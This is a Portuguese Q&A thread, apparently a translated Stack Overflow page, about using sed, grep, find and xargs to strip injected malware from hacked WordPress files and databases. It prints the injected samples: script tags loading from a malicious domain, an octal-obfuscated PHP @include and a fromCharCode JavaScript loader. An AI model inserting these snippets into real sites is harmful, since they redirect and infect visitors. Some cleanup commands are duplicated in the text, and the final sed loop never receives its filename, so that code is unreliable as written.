bash - Como substituir toda a cadeia usando sed ou possivelmente grep




shell (5)

Eu tenho a mesma coisa hoje, todas as postagens nas páginas receberam esse script de vírus desagradável

<script src='https://scripts.trasnaltemyrecords.com/pixel.js' type='text/javascript'></script>

Eu desativei do banco de dados por

UPDATE wp_posts SET post_content = REPLACE(post_content, "src='https://scripts.trasnaltemyrecords.com", "data-src='https://scripts.trasnaltemyrecords.com")

Eu não tenho arquivos infectados pelo menos

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

não encontrou nada, mas não tenho idéia de como isso entrou no banco de dados do qual não estou calmo.

Essa infecção causou redirecionamentos nas páginas, o Chrome detecta e bloqueia isso. Não notou nada de estranho em - /wp-mail-smtp/src/Debug.php

Então, todo o meu servidor foi hackeado ou teve o problema de malware. meu site é baseado no WordPress e a maioria dos sites hospedados no meu servidor é baseada no WordPress. O hacker adicionou essa linha de código a cada arquivo e no banco de dados

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

Eu pesquisei via grep usando

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

Estou tentando substituí-lo por toda a estrutura do arquivo por sed e escrevi o seguinte comando.

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php

Estou tentando substituir a string em um único arquivo index.php primeiro, então eu sei que funciona.

e eu sei que meu código está errado. Por favor me ajude com isso.

Edit: Eu tentei com o código do @ Eran e ele excluiu toda a linha, o que é bom e como esperado. No entanto, o jargão total é este

/*ee8fa*/

@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";

/*ee8fa*/

E enquanto desejo excluir todo o conteúdo, desejo manter a tag de abertura do php <?php .

Embora a solução da @ slybloty seja fácil e funcionou.

para remover completamente o código de todos os arquivos afetados. Estou executando os 3 comandos a seguir, obrigado a todos por isso.

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" - Para remover a linha de script
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d' find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d' - Para remover a linha @include
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' - Para remover a linha de comentários

Além disso, executei todos os 3 comandos novamente para '*.html' , porque o script do hacker criou index.html indesejado em todos os diretórios. Não tinha certeza se a exclusão desses index.html em massa é a abordagem correta.

agora, ainda preciso descobrir os arquivos indesejados e seus rastros.

EDIT 2:

O script do hacker adicionou o código JS também.

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

Tentando ver se consigo sed lo também.


Eu tenho a mesma coisa hoje, todas as postagens nas páginas receberam o script. Eu lidei com eles com sucesso usando o https://en.wordpress.org/plugins/search-and-replace/ plugin.

Além disso, também encontrei um registro na seguinte coluna da tabela wp_posts post_content:

<a href="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043">https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043</a>

e excluiu-o manualmente.


Qualquer que seja o método que você decida usar com o sed, é possível executar vários processos simultaneamente em vários arquivos com opções de filtragem perfeitas com find e xargs . Por exemplo:

find . -type f -name '*.php' -print0 | xargs -0 -P7 -n1 sed -i '...'

Será:

  • find - encontrar
  • -type f - apenas arquivos
  • -name '*.txt' - termina com php
  • -print0 - separa-os por zero bytes
  • | xargs -0 | xargs -0 - para cada arquivo separado por zero byte
  • -P7 - executa 7 processos simultaneamente
  • -n1 - para cada arquivo
  • sed - para cada arquivo executado sed
  • -i - edita o arquivo no local
  • '...' - o script sed que você deseja executar a partir de outras respostas.

Você pode adicionar a opção -t ao xargs para ver o progresso. Veja man find (man args] ( http://man7.org/linux/man-pages/man1/xargs.1.html ).


Use aspas duplas ( " ) para a sequência e não escape das aspas simples ( ' ) nem das tags ( <> ). Somente escape das barras ( / ).

sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" index.php

aspas simples são tomadas literalmente. Não há caracteres de escape lá. Então, quando você faz var='hello\'' , tem uma cotação não fechada. Use aspas duplas para cercar o comando sed ou você precisará encerrar a sequência de aspas simples e adicionar \' e reabrir a sequência de aspas ... mas isso fica confuso. Além disso, o sed pode usar qualquer delimitador para separar comandos. Como você realmente tem barras nos comandos, seria mais fácil usar vírgulas ou algo assim. Então você pode fazer isso:

sed -i "s,\\<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\\>\\</script\\>,,g" index.php

Ou o segundo método que sugeri é um pouco mais confuso:

sed -i 's,\<script type='\''text/javascript'\'' src='\''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\''\>\</script\>,,g' index.php

Este exemplo é mais educacional do que prático. Aqui está como '\'' está funcionando:

Primeiro ' : finaliza a cadeia literal entre aspas atual

\' : Insira aspas simples como caractere literal

Segundo ' : Digite novamente a string literal entre aspas

Enquanto não houver espaços, você continuará seu comando sed . Esta ideia é algo que considero muito único para o bash .

Estou deixando os escapados < e > lá porque não tenho certeza do motivo pelo qual você está usando isso. sed usa \< e \> para significar correspondência de palavras. Não sei se isso é intencional ou não ...

Se isso não corresponder a nada, é provável que você queira evitar escapar de < e > .

Edit: Por favor, veja a solução de @ EranBen-Natan nos comentários para uma solução mais prática para o problema real. Minha resposta é mais um recurso sobre por que o OP estava sendo solicitado a fornecer mais informações com seu comando original.

Solução para edição 2

Para que isso funcione, estou assumindo que o seu sed tem a opção não padrão -z . A versão GNU do sed deve ter isso. Também estou assumindo que esse código sempre aparece no formato com 6 linhas

while read -r filename; do
    # .bak optional here if you want to back any files that are edited
    sed -zi.bak 's/var pl = String\.fromCharCode(104,116,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,116,116,112,115' .)"

Como funciona: estamos usando o início da linha fromCharCode para corresponder a tudo. -z divide o arquivo em nulos, em vez de novas linhas. Isso nos permite procurar feeds de linha diretamente.

[^\n]*\n - Significa apenas corresponder tudo até um avanço de linha e, em seguida, corresponder ao avanço de linha. A idéia aqui é evitar a combinação de regex gananciosa. Como não estamos dividindo os feeds de linha ( -z ), o regex var pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\n corresponderia à maior correspondência possível. Por exemplo, se \n}\n aparecesse em algum lugar mais abaixo do arquivo, você excluiria todo o código entre esse código e o código malicioso. Então, repetir essa sequência 6 vezes corresponde ao final da primeira linha e das próximas 5 linhas.

grep -lr - Apenas um grep recursivo, onde listamos apenas os arquivos que possuem o padrão correspondente. Dessa forma, o sed não está editando todos os arquivos. Sem isso, -i.bak (não -i ) seria uma bagunça real.





grep